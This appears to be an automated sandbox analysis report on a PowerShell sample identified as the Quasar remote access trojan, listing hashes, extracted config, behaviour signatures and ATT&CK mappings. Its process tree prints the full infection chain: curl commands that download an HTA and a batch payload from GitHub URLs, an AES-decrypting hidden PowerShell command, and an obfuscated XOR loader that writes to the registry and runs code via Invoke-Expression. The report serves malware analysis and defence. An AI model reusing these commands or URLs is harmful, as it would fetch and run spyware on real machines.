quasar | a08cdda2d228917af29c34912fe516cc68f280c730158147832b1c9d83e2b703

Analysis

max time kernel
149s
max time network
106s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/04/2026, 01:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
P0QXDWMcGsKAm.ps1
Size 1KB
Sample260423-b129esfx4v
SHA256 a08cdda2d228917af29c34912fe516cc68f280c730158147832b1c9d83e2b703
MD5 22677ba9523d4c1e4ccd1ce31cc2c2d0
SHA1 be5b4acace2b75a20de1643d59fcdcc2557e0a9a
SHA512 f7b2e56e7790c8b72a58d5760aa7055d7c04ae4910f35556660404b21cf73946bfdf3bef48d5bfdda8677daf8f33cee25c17e5637cca50541162e3e9cb9a39e9
TLSH
T1ED41E6D90F44A5B809C246A3A17BCA608314D7B8313E7CE0BBC4C381E1092CF83AE4CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2120-46-0x0000019DC1630000-0x0000019DC1724000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4844	powershell.exe
2120	powershell.exe
1056	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com
11	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2120	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1056	PowerShell.exe
1056	PowerShell.exe
4844	powershell.exe
4844	powershell.exe
2120	powershell.exe
2120	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	PowerShell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 3664	1056	PowerShell.exe	80
PID 3664 wrote to memory of 3064	3664	cmd.exe	82
PID 3064 wrote to memory of 3548	3064	wscript.exe	83
PID 3064 wrote to memory of 3432	3064	wscript.exe	85
PID 3432 wrote to memory of 4844	3432	mshta.exe	86
PID 3432 wrote to memory of 3704	3432	mshta.exe	88
PID 3432 wrote to memory of 1048	3432	mshta.exe	90
PID 1048 wrote to memory of 1076	1048	wscript.exe	91
PID 1076 wrote to memory of 2120	1076	cmd.exe	93

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\P0QXDWMcGsKAm.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\wscript.exe
    wscript //nologo C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/binary/refs/heads/main/WindowsSecurityService.hta"
      4⤵
      PID:3548
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(99,246,35,57,225,191,172,113,162,36,106,138,190,38,103,160);$i=[byte[]]@(239,233,122,87,244,10,75,31,99,213,39,238,27,145,171,126);$c=[Convert]::FromBase64String('ouFMpI77phfguzpdogAXrnAn5PE8r8hMqJO/bOAfZ3UfgoWVNWgFicVY9RxKe/NeLwAAPZUL0KzV2WTJZygLYMeF6y/vuExl8HaLgfcD+du9polg7fEIVu+Dw37lNk3ApXUMLu35l+ji20qtVvQ/DYsKZxn8D5IgiAu0V0JjLBk4QKxg9HSxyH+s4kdIoETkhwTwQ94pEdUNgp4Vd95bGXbOuWJKkE8d6bmtYi2qpjMKzVzEkDMZQu8JihehYHa/xY/1kFvh0diHnjguxgFOmfdxJujuGtJYFUZwYs/hp5RYI9vX14GucP6vQF+zqpF6aQm+aLv5ybZhOLkZnopdV1F0H2Uhfd7PI0UnoQeSTTjgO04vyLrWee6ytODWD1k117X/z8oq/6TDuAPBi6F/OpwSj8GYzGYlJS8SWCNV+xHX0w/owsMd7hLXnNBq8Tur5QB/cedjE91SBa0W6BF1w2qBGyABlmlrwlQI7NyGHq8TbgnvEAciqh55oHGqUz+GEekkHaCuxSI/H/wos0DRx+q9in3AA0KWo2yERCUgqE7nzuWSDzBEPJlA8dxQj9haa6Pq7hud2LKeScPcXnaA5oaekOy3iC5hiAg9H7U6/mY0rfkhdFUB2kq8PMOF3AFjeyZ3Z6BZHbielCPPClE5wg6LFQ42s7i6jljrRQVpabgjX1fBm5fMebH4DzJ3MKFwJU5ctew8TCZ5ZiZPF+s3H5OcuDO5tFSN8njAek7MLA6gfJgVSG724IHbpZ9AN1bKnGnL0NBQ5rfif0UC945Cs2UvYid12FVZYMpwNafCeBJSTQ/P3sWE91Ie7UiXOJ/NrHvjpzMniYiwKF3jzOWXMxG6gSWpCtN0ZXNhf13Z/d6Vd1u2Ur9VvKVQJQRhi54L0VkV3eYljZnnExHbLSjRWXYFzfPEL2UZlp3iRslXq1rytBbMhmeAep5AZqKibjPSbKUFz/+NCrnReokxgSD0emaNxnnHwdwAvguchcoREjsR0d1+vtqov/sjzsk/+C3RBR9R1XNlmVxDmkjca2RJUP1NRi0vz2UFT/bZkyn4xka0WtvWUnj5xrbzTOH6wD5OBU7vc02jrmAzp5eiVvfdv/cjhOVI9E/2zR7Gdo6/EfZmidtqRBTj813UgnSXemXtjSa9tJZlXOT6zEdcEghBYfuUz+bQD6OqOrhX96aLMG/o6PPzFG5DhUilE6XKLdgkHUgJiH7pP1F1wAQ5BHxxFqYRfczolkemnZ11738hTtoW9pEdZdTAsn14Woh1Un00jvyYhNwf/wGljhXnsrSaD5ZYlXXgBnuJLwuhzFd6ZFHflRCLQvux47AZ3y8t6GzZn6fGCoyLaD1OwNUkan8AKqnPJMBz8MQF9OcLI0AcSnODphLvUPGWr6KpxZ5QHV+2CXum29Zcg1C+wSkSMxHeEAO6RQ1ssUgC8fZC/BPJLOjqujxLUxhGwogEF9Ft/ai8X2cxF3wLq9PqXnRI681ubjt7+9f1WhBCWs8GBBye9WF+Nl/m7173SW/99CObwFIjEvEGjJtXqbrxcwXmMtWftvKN/KioLuHYwykbhB/0Lqx/cxHfseMCLfYyHqfCsj4EE44Yo74H7AE5AGaRbFbmHJAp0MlCGUENhElYCdjQtlNTTybPVyN9qhVYrUMAQaRpntpIkRdH1JA8j48jX/evh1uABV+Ljegngr9G0y9jnJhsI+8dkEd7Co7brlyTmCgDDDQEMcdiLOar919VBEecMiwgOJsbWGImFvkjsyXsSKoq1GTC6JnuqOmOazALV9wmUtqJeLrcBQVoH/imJSxBgQ==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4844
    - - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"
        5⤵
        
        PID:3704
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1048
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2120

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PowerShell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 28be1f023974ca3dfe94abc2d2d1a3559f16dac7fc20731c37c4d0c102c32cc1
MD5 281d657862394d9ba7818383cb561c55
SHA1 dfd3be18354d6f334b2e0195014521ed8c04738a
SHA512 3a6067099629942a2526f24529321984519ecdf95695f696ebd92fa79652f7941b378614b545a440ebcda9447d7df8d38f131904b5a25e0a6c388541b33bd595
TLSH
T1CB215633B79CC135C8D9117A2088AD01B2B5C3CB449E8E9B6B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

MG6UIMA6.hta

Path C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta
Size 24KB
SHA256 100f0ffd73a011ade58e81ed08f79c59a3ed986101be94ca2718f3a4e84556b0
MD5 fd598a723a8fb1c5ab7b1a58db5fbd74
SHA1 cb8392a89735a7c70581f5f14302ce05016edc7b
SHA512 d8c6ec7f15629fd1c2961ae73892fe6df69a5dffb527699ea1473af15dbd030005caae8c4dc55719a6712d6fc27818fe0ba38c82e82972236f2656defd3f70c9
SSDEEP 384:oy2unDdtFVkGFk5CftjmFBs/RecofBp+I65IvLmO0AZJgTchh9firgZXX0GCfira:oS
TLSH
T179B26C2C09BDFA5D93D9E217EA95F3236D4A5CAFC2B975132AF34C6960024C045EB4C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mab4dxgs.3pt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mab4dxgs.3pt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bDci2sip.vbs

Path C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
Size 737B
SHA256 6a3ca2af5a54ddb0c63182cc25ac4f9a4542be30cf7d9c11173b755e467fb39e
MD5 89174bb2891502cab841d97e2d29cf03
SHA1 f5925d2b155b5ee1854cc17d16b10db618903658
SHA512 1a406ec2825054f85415346c12649119b9693e29769334befa08d3fbedb24d6c7c2d305ad33506d5e93ac0edd2f677a68f5220431ba373aa28dba84176e0d35c
TLSH
T11601970EE53CF2321561C462ABE92C2D3C90889BF824F8ED63B844284196B3216CA4DB
MD5 SHA1 SHA512 TLSH

Submit Download

launch32.vbs

Path C:\Users\Admin\AppData\Local\Temp\launch32.vbs
Size 125B
SHA256 fe0b3f33708d8b50dbeb91d7c3e876ce37fb5257048b9a593d7b0287ce5a2c4c
MD5 be934a7e9e9e8e559a1709362df18ce7
SHA1 85b0896f6eb8f1544cd064bb45cf70c816967f86
SHA512 3c531c27d075189538e55a0bcd43bfc10f5bf154e68301e7e4674a322e17ce0646bfc8bd4f675c0bd25cb2883fd98167ea7811e343b842da3456107208642c4b
TLSH
T192B0228BB088C23A0880A8A302F2080CC0B088A82222AA3B0E00E80C22A880C830A002
MD5 SHA1 SHA512 TLSH

Submit Download

svchost32.bat

Path C:\Users\Admin\AppData\Local\Temp\svchost32.bat
Size 4.1MB
SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
MD5 49d264bdc02f0e13fb5d626557cbdbf6
SHA1 be79a8eef7c6ea33b0ae08d862d6d945c7e5b0a8
SHA512 9bd8bca62c035cbae8d2483e91e6a217edfff9f4df8e0ef3af57d81c15970bc37510072d46d15b596b3ddce1fd8fe5a3c82933d3ce77e84b2cd93529c7bea856
SSDEEP 49152:lJ4gJFxW/FT2kbPwsSIvotfesFSSsB9fmbJ/N+OuBVmYxh0qn5+7ioeZzpoFzr1:D
TLSH
T1B11602484DBBB2061FCDDB45F39BFFDFB85262A2F941122470AA5DC933A12561C6D0B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1048-49-0x00000218C1250000-0x00000218C12FE000-memory.dmp

Download

memory/1048-50-0x00000218C2C30000-0x00000218C2C3C000-memory.dmp

Download

memory/1056-29-0x000001FE42180000-0x000001FE42192000-memory.dmp

Download

memory/1056-8-0x000001FE5A770000-0x000001FE5A792000-memory.dmp

Download

memory/1056-28-0x000001FE40820000-0x000001FE4082C000-memory.dmp

Download

memory/1056-1-0x000001FE5A760000-0x000001FE5A770000-memory.dmp

Download

memory/1056-0-0x000001FE5A760000-0x000001FE5A770000-memory.dmp

Download

memory/1056-9-0x000001FE5A760000-0x000001FE5A770000-memory.dmp

Download

memory/2120-45-0x00007FFA05970000-0x00007FFA05A2D000-memory.dmp

Download

memory/2120-43-0x0000019DC1230000-0x0000019DC1360000-memory.dmp

Download

memory/2120-44-0x00007FFA060A0000-0x00007FFA062A9000-memory.dmp

Download

memory/2120-46-0x0000019DC1630000-0x0000019DC1724000-memory.dmp

Download

memory/2120-47-0x0000019DC1720000-0x0000019DC1754000-memory.dmp

Download

memory/2120-48-0x0000019DC1A70000-0x0000019DC1AA8000-memory.dmp

Download

memory/2120-52-0x0000019DA6F80000-0x0000019DA6F92000-memory.dmp

Download

memory/2120-51-0x0000019DA6F20000-0x0000019DA6F2C000-memory.dmp

Download

memory/3064-41-0x000001C9F58D0000-0x000001C9F597E000-memory.dmp

Download

memory/3064-42-0x000001C9F72B0000-0x000001C9F72BC000-memory.dmp

Download

memory/4844-24-0x000001CA33830000-0x000001CA33842000-memory.dmp

Download

memory/4844-23-0x000001CA33440000-0x000001CA3344C000-memory.dmp

Download